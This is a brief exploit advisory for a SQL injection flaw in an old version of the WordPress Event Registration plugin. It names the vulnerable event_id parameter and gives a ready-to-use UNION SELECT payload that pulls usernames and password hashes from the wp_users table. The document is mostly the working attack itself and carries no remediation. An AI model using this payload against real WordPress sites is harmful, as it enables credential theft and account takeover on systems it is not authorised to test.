[ Wordpress Event Registration SQL injection ]
# Author: k3m4n9i
# Homepage: http://alko.web.id/
# Date: 13 November, 2010

[ Software Information ]
[+] Vendor : http://edgetechweb.com/
[+] Software Link: http://wordpress.org/extend/plugins/event-registration/
[+] Version: 5.32 or lower

[ Proof of Concept ]

[-] Vulnerable File
http://server/events/?regevent_action=register&event_id=[gotcha]

[-] Xpl
%20union%20select%201,group_concat(user_login,0x3a,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50%20from%20wp_users--